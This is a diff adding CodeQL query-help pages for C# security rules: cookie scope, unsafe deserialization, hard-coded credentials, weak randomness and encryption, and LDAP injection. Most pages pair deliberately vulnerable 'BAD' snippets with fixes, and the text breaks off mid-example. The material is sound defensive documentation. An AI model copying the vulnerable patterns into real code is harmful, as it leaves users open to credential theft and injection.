decision that is based on looking up the user in a security database. + + +```csharp +public boolean doLogin(HttpCookie adminCookie, String user, String password) +{ + + // BAD: login is executed only if the value of 'adminCookie' is 'false', + // but 'adminCookie' is controlled by the user + if (adminCookie.Value == "false") + return login(user, password); + + return true; +} + +public boolean doLogin(HttpCookie adminCookie, String user, String password) +{ + // GOOD: use server-side information based on the credentials to decide + // whether user has privileges + bool isAdmin = queryDbForAdminStatus(user, password); + if (!isAdmin) + return login(user, password); + + return true; +} + +``` + +## References +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-247](https://cwe.mitre.org/data/definitions/247.html). +* Common Weakness Enumeration: [CWE-350](https://cwe.mitre.org/data/definitions/350.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md b/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md new file mode 100644 index 00000000000..e4e5f072a3f --- /dev/null +++ b/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md @@ -0,0 +1,55 @@ +# Cookie security: overly broad domain + +``` +ID: cs/web/broad-cookie-domain +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-287 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadDomain.ql) + +This rule finds cookies with an overly broad domain. Cookies with an overly broad domain, such as ".mybank.com", can be accessed by all web applications deployed on this domain and its sub-domains. A cookie with sensitive data, but with too broad a domain, could hence be read and tampered with by a less secure and untrusted application. + + +## Recommendation +Precisely define the domain of the web application for which this cookie is valid. + + +## Example +In this example `cookie1` is accessible from online-bank.com. `cookie2` is accessible from ebanking.online-bank.com and any subdomains of ebanking.online-bank.com. + + +```csharp +class CookieWithOverlyBroadDomain +{ + static public void AddCookie() + { + HttpCookie cookie1 = new HttpCookie("sessionID"); + cookie1.Domain = "online-bank.com"; + + HttpCookie cookie2 = new HttpCookie("sessionID"); + cookie2.Domain = ".ebanking.online-bank.com"; + } +} + +``` +In the following example `cookie` is only accessible from ebanking.online-bank.com which is much more secure. + + +```csharp +class CookieWithOverlyBroadDomainFix +{ + static public void AddCookie() + { + HttpCookie cookie = new HttpCookie("sessionID"); + cookie.Domain = "ebanking.online-bank.com"; + } +} + +``` + +## References +* MSDN: [HttpCookie.Domain Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.domain.aspx). +* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md b/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md new file mode 100644 index 00000000000..f5c5ebf4066 --- /dev/null +++ b/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md @@ -0,0 +1,52 @@ +# Cookie security: overly broad path + +``` +ID: cs/web/broad-cookie-path +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-287 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadPath.ql) + +This rule finds cookies with an overly broad path. Cookies with an overly broad path, such as the root context path ("/"), can be accessed by all web applications on the same domain name. A cookie with sensitive data, but with too broad a path, could hence be read and tampered by a less secure and untrusted application. + + +## Recommendation +Precisely define the path of the web application for which this cookie is valid. + + +## Example +In this example the cookie will be accessible to all applications regardless of their path. Most likely some of these applications are less secure than others and do not even need to access the same cookies. + + +```csharp +class CookieWithOverlyBroadPath +{ + static public void AddCookie() + { + HttpCookie cookie = new HttpCookie("sessionID"); + cookie.Path = "/"; + } +} + +``` +In the following example the cookie is only accessible to the web application at the "/ebanking" path. + + +```csharp +class CookieWithOverlyBroadPathFix +{ + static public void AddCookie() + { + HttpCookie cookie = new HttpCookie("sessionID"); + cookie.Path = "/ebanking"; + } +} + +``` + +## References +* MSDN: [HttpCookie.Path Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.path.aspx). +* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/DeserializedDelegate.md b/docs/language/query-help/csharp/DeserializedDelegate.md new file mode 100644 index 00000000000..1192e1d9e07 --- /dev/null +++ b/docs/language/query-help/csharp/DeserializedDelegate.md @@ -0,0 +1,44 @@ +# Deserialized delegate + +``` +ID: cs/deserialized-delegate +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/DeserializedDelegate.ql) + +Deserializing a delegate object may result in remote code execution, when an attacker can control the serialized data. + + +## Recommendation +Avoid deserializing delegate objects, if possible, or make sure that the serialized data cannot be controlled by an attacker. + + +## Example +In this example, a file stream is deserialized to a `Func` object, using a `BinaryFormatter`. The file stream is a parameter of a public method, so depending on the calls to `InvokeSerialized`, this may or may not pose a security problem. + + +```csharp +using System; +using System.IO; +using System.Runtime.Serialization.Formatters.Binary; + +class Bad +{ + public static int InvokeSerialized(FileStream fs) + { + var formatter = new BinaryFormatter(); + // BAD + var f = (Func)formatter.Deserialize(fs); + return f(); + } +} + +``` + +## References +* Microsoft: [BinaryFormatter Class](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md b/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md new file mode 100644 index 00000000000..6acdeda8fe3 --- /dev/null +++ b/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md @@ -0,0 +1,22 @@ +# Empty password in configuration file + +``` +ID: cs/empty-password-in-configuration +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-258 external/cwe/cwe-862 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql) + +The use of an empty string as a password in a configuration file is not secure. + + +## Recommendation +Choose a proper password and encrypt it if you need to store it in the configuration file. + + +## References +* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html). +* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/Encryption using ECB.md b/docs/language/query-help/csharp/Encryption using ECB.md new file mode 100644 index 00000000000..69104e226d9 --- /dev/null +++ b/docs/language/query-help/csharp/Encryption using ECB.md @@ -0,0 +1,22 @@ +# Encryption using ECB + +``` +ID: cs/ecb-encryption +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/Encryption%20using%20ECB.ql) + +ECB should not be used as a mode for encryption. It has dangerous weaknesses. Data is encrypted the same way every time meaning the same plaintext input will always produce the same cyphertext. This makes encrypted messages vulnerable to replay attacks. + + +## Recommendation +Use a different CypherMode. + + +## References +* Wikipedia, Block cypher modes of operation, [Electronic codebook (ECB)](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExceptionInformationExposure.md b/docs/language/query-help/csharp/ExceptionInformationExposure.md new file mode 100644 index 00000000000..51ea01dea38 --- /dev/null +++ b/docs/language/query-help/csharp/ExceptionInformationExposure.md @@ -0,0 +1,65 @@ +# Information exposure through an exception + +``` +ID: cs/information-exposure-through-exception +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-209 external/cwe/cwe-497 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-209/ExceptionInformationExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by calling `ToString()`, and writing it to the response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. + + +```csharp +using System; +using System.Web; + +public class StackTraceHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + try + { + doSomeWork(); + } + catch (Exception ex) + { + // BAD: printing a stack trace back to the response + ctx.Response.Write(ex.ToString()); + return; + } + + try + { + doSomeWork(); + } + catch (Exception ex) + { + // GOOD: log the stack trace, and send back a non-revealing response + log("Exception occurred", ex); + ctx.Response.Write("Exception occurred"); + return; + } + } +} + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). +* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureInTransmittedData.md b/docs/language/query-help/csharp/ExposureInTransmittedData.md new file mode 100644 index 00000000000..5121bb86a7b --- /dev/null +++ b/docs/language/query-help/csharp/ExposureInTransmittedData.md @@ -0,0 +1,66 @@ +# Information exposure through transmitted data + +``` +ID: cs/sensitive-data-transmission +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-201 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-201/ExposureInTransmittedData.ql) + +Transmitting sensitive data to the user is a potential security risk. Always ensure that transmitted data is intended for the user. For example, passwords and the contents of database exceptions are generally not appropriate to send to the user, as they reveal information that could be abused or exploited. + + +## Recommendation +Avoid transmitting passwords or exceptions to the user. Instead, create a more user-friendly message that does not contain potentially sensitive information. Technical errors should be written to a log file. + + +## Example +The following example shows the user password being sent back to the user. + + +```csharp +public class Handler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + try + { + ... + } + catch (AuthenticationFailure ex) + { + ctx.Response.Write("Invalid password: " + password); + } + } +} + +``` +The following example shows a database exception being sent to the user. Exceptions can often contain unnecessary technical or sensitive information that should not be seen by the user. + + +```csharp +public class Handler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + try + { + ... + } + catch (DbException ex) + { + ctx.Response.Write("Database error: " + ex.Message); + } + } +} + +``` + +## References +* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure). +* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureOfPrivateInformation.md b/docs/language/query-help/csharp/ExposureOfPrivateInformation.md new file mode 100644 index 00000000000..0415e8b7fc4 --- /dev/null +++ b/docs/language/query-help/csharp/ExposureOfPrivateInformation.md @@ -0,0 +1,44 @@ +# Exposure of private information + +``` +ID: cs/exposure-of-sensitive-information +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-359/ExposureOfPrivateInformation.ql) + +Private information that is stored in an external location may be more vulnerable because that location may not be protected by the same access controls as other parts of the system. + +Examples include log files, cookies and plain text storage on disk. + + +## Recommendation +Ensure that private information is only stored in secure data locations. + + +## Example +The following example shows some private data - an address - being passed to a HTTP handler. This private information is then stored in a log file. This log file on disk may be accessible to users that do not normally have access to this private data. + + +```csharp +using System.Text; +using System.Web; +using System.Web.Security; + +public class PrivateInformationHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string address = ctx.Request.QueryString["Address1"]; + logger.Info("User has address: " + address); + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedConnectionString.md b/docs/language/query-help/csharp/HardcodedConnectionString.md new file mode 100644 index 00000000000..428b6e87a5d --- /dev/null +++ b/docs/language/query-help/csharp/HardcodedConnectionString.md @@ -0,0 +1,78 @@ +# Hard-coded connection string with credentials + +``` +ID: cs/hardcoded-connection-string-credentials +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedConnectionString.ql) + +Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. + +Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. + +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + +For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. + +For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. + + +## Example +The following examples shows different types of inbound and outbound authentication. + +In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. + +In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. + +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. + + +```csharp +using Microsoft.AspNet.Identity; +using System; +using System.Web; +using System.Web.Security; + +public class HardCodedCredentialHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string password = ctx.Request.QueryString["password"]; + + // BAD: Inbound authentication made by comparison to string literal + if (password == "myPa55word") + { + ctx.Response.Redirect("login"); + } + + string hashedPassword = loadPasswordFromSecretConfig(); + + // GOOD: Inbound authentication made by comparing to a hash password from a config + if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) + { + ctx.Response.Redirect(VALID_REDIRECT); + } + + // BAD: Set the password to a hardcoded string literal + MembershipUser user = loadMembershipUser(); + user.ChangePassword(password, "myNewPa55word"); + } +} + +``` + +## References +* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedCredentials.md b/docs/language/query-help/csharp/HardcodedCredentials.md new file mode 100644 index 00000000000..03749e80ba1 --- /dev/null +++ b/docs/language/query-help/csharp/HardcodedCredentials.md @@ -0,0 +1,78 @@ +# Hard-coded credentials + +``` +ID: cs/hardcoded-credentials +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. + +Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. + +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + +For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. + +For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. + + +## Example +The following examples shows different types of inbound and outbound authentication. + +In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. + +In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. + +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. + + +```csharp +using Microsoft.AspNet.Identity; +using System; +using System.Web; +using System.Web.Security; + +public class HardCodedCredentialHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string password = ctx.Request.QueryString["password"]; + + // BAD: Inbound authentication made by comparison to string literal + if (password == "myPa55word") + { + ctx.Response.Redirect("login"); + } + + string hashedPassword = loadPasswordFromSecretConfig(); + + // GOOD: Inbound authentication made by comparing to a hash password from a config + if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) + { + ctx.Response.Redirect(VALID_REDIRECT); + } + + // BAD: Set the password to a hardcoded string literal + MembershipUser user = loadMembershipUser(); + user.ChangePassword(password, "myNewPa55word"); + } +} + +``` + +## References +* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HeaderCheckingDisabled.md b/docs/language/query-help/csharp/HeaderCheckingDisabled.md new file mode 100644 index 00000000000..97e2ab9e02f --- /dev/null +++ b/docs/language/query-help/csharp/HeaderCheckingDisabled.md @@ -0,0 +1,22 @@ +# Header checking disabled + +``` +ID: cs/web/disabled-header-checking +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-113 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/HeaderCheckingDisabled.ql) + +This rule finds places in the code where header checking is disabled. When header checking is enabled, which is the default, the `\r` or `\n` characters found in a response header are encoded to `%0d` and `%0a`. This defeats header-injection attacks by making the injected material part of the same header line. If you disable header checking, you open potential attack vectors against your client code. + + +## Recommendation +Do not disable header checking. + + +## References +* MSDN. [HttpRuntimeSection.EnableHeaderChecking Property](http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.enableheaderchecking.aspx). +* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InadequateRSAPadding.md b/docs/language/query-help/csharp/InadequateRSAPadding.md new file mode 100644 index 00000000000..d87224670ee --- /dev/null +++ b/docs/language/query-help/csharp/InadequateRSAPadding.md @@ -0,0 +1,23 @@ +# Weak encryption: inadequate RSA padding + +``` +ID: cs/inadequate-rsa-padding +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 external/cwe/cwe-780 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InadequateRSAPadding.ql) + +This query finds uses of RSA encryption without secure padding. Using PKCS#1 v1.5 padding can open up your application to several different attacks resulting in the exposure of the encryption key or the ability to determine plaintext from encrypted messages. + + +## Recommendation +Use the more secure PKCS#1 v2 (OAEP) padding. + + +## References +* Wikipedia. [RSA. Padding Schemes](http://en.wikipedia.org/wiki/RSA_(algorithm)#Padding_schemes). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). +* Common Weakness Enumeration: [CWE-780](https://cwe.mitre.org/data/definitions/780.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureRandomness.md b/docs/language/query-help/csharp/InsecureRandomness.md new file mode 100644 index 00000000000..78e0583e461 --- /dev/null +++ b/docs/language/query-help/csharp/InsecureRandomness.md @@ -0,0 +1,66 @@ +# Insecure randomness + +``` +ID: cs/insecure-randomness +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-338 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsecureRandomness.ql) + +Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. + +Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. + + +## Recommendation +Use a cryptographically secure pseudo-random number generator if the output is to be used in a security sensitive context. As a rule of thumb, a value should be considered "security sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. + +For C#, `RNGCryptoServiceProvider` provides a cryptographically secure pseudo-random number generator. `Random` is not cryptographically secure, and should be avoided in security contexts. For contexts which are not security sensitive, `Random` may be preferable as it has a more convenient interface, and is likely to be faster. + +For the specific use-case of generating passwords, consider `System.Web.Security.Membership.GeneratePassword`, which provides a cryptographically secure method of generating random passwords. + + +## Example +The following examples show different ways of generating a password. + +In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. + +In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. + +In the final example, the password is generated using the `Membership.GeneratePassword` library method, which uses a cryptographically secure random number generator to generate a random series of characters. This method should be preferred when generating passwords, if possible, as it avoids potential pitfalls when converting the output of a random number generator (usually an int or a byte) to a series of permitted characters. + + +```csharp +using System.Security.Cryptography; +using System.Web.Security; + +string GeneratePassword() +{ + // BAD: Password is generated using a cryptographically insecure RNG + Random gen = new Random(); + string password = "mypassword" + gen.Next(); + + // GOOD: Password is generated using a cryptographically secure RNG + using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) + { + byte[] randomBytes = new byte[sizeof(int)]; + crypto.GetBytes(randomBytes); + password = "mypassword" + BitConverter.ToInt32(randomBytes); + } + + // GOOD: Password is generated using a cryptographically secure RNG + password = Membership.GeneratePassword(12, 3); + + return password; +} + +``` + +## References +* Wikipedia. [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). +* MSDN. [RandomNumberGenerator](http://msdn.microsoft.com/en-us/library/system.security.cryptography.randomnumbergenerator.aspx). +* MSDN. [Membership.GeneratePassword](https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.110).aspx). +* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureSQLConnection.md b/docs/language/query-help/csharp/InsecureSQLConnection.md new file mode 100644 index 00000000000..c2db3302f06 --- /dev/null +++ b/docs/language/query-help/csharp/InsecureSQLConnection.md @@ -0,0 +1,50 @@ +# Insecure SQL connection + +``` +ID: cs/insecure-sql-connection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-327/InsecureSQLConnection.ql) + +SQL Server connections where the client is not enforcing the encryption in transit are susceptible to multiple attacks, including a man-in-the-middle, that would potentially compromise the user credentials and/or the TDS session. + + +## Recommendation +Ensure that the client code enforces the `Encrypt` option by setting it to `true` in the connection string. + + +## Example +The following example shows a SQL connection string that is not explicitly enabling the `Encrypt` setting to force encryption. + + +```csharp +using System.Data.SqlClient; + +// BAD, Encrypt not specified +string connectString = + "Server=1.2.3.4;Database=Anything;Integrated Security=true;"; +SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); +var conn = new SqlConnection(builder.ConnectionString); +``` +The following example shows a SQL connection string that is explicitly enabling the `Encrypt` setting to force encryption in transit. + + +```csharp +using System.Data.SqlClient; + +string connectString = + "Server=1.2.3.4;Database=Anything;Integrated Security=true;;Encrypt=true;"; +SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); +var conn = new SqlConnection(builder.ConnectionString); +``` + +## References +* Microsoft, SQL Protocols blog: [Selectively using secure connection to SQL Server](https://blogs.msdn.microsoft.com/sql_protocols/2009/10/19/selectively-using-secure-connection-to-sql-server/). +* Microsoft: [SqlConnection.ConnectionString Property](https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.connectionstring(v=vs.110).aspx). +* Microsoft: [Using Connection String Keywords with SQL Server Native Client](https://msdn.microsoft.com/en-us/library/ms130822.aspx). +* Microsoft: [Setting the connection properties](https://msdn.microsoft.com/en-us/library/ms378988(v=sql.110).aspx). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsufficientKeySize.md b/docs/language/query-help/csharp/InsufficientKeySize.md new file mode 100644 index 00000000000..cdbfb71535b --- /dev/null +++ b/docs/language/query-help/csharp/InsufficientKeySize.md @@ -0,0 +1,22 @@ +# Weak encryption: Insufficient key size + +``` +ID: cs/insufficient-key-size +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsufficientKeySize.ql) + +This rule finds uses of encryption algorithms with too small a key size. Encryption algorithms are vulnerable to brute force attack when too small a key size is used. + + +## Recommendation +The key should be at least 1024-bit long when using RSA encryption, and 128-bit long when using symmetric encryption. + + +## References +* Wikipedia. [Key size](http://en.wikipedia.org/wiki/Key_size). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LDAPInjection.md b/docs/language/query-help/csharp/LDAPInjection.md new file mode 100644 index 00000000000..007c0a60d40 --- /dev/null +++ b/docs/language/query-help/csharp/LDAPInjection.md @@ -0,0 +1,85 @@ +# LDAP query built from user-controlled sources + +``` +ID: cs/ldap-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-090 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/LDAPInjection.ql) + +If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. + + +## Recommendation +If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. + + +## Example +In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. + +The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. + +The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. + + +```csharp +using Microsoft.Security.Application.Encoder +using System; +using System.DirectoryServices; +using System.Web; + +public class LDAPInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["username"]; + string organizationName = ctx.Request.QueryString["organization_name"]; + // BAD: User input used in DN (Distinguished Name) without encoding + string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; + using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) + { + // BAD: User input used in search filter without encoding + DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + + // GOOD: Organization name is encoded before being used in DN + string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); + string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; + using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) + { + // GOOD: User input is encoded before being used in search filter + string safeUserName = Encoder.LdapFilterEncode(userName); + DirectorySearcher ds = new DirectorySearcher(root, "username=" + 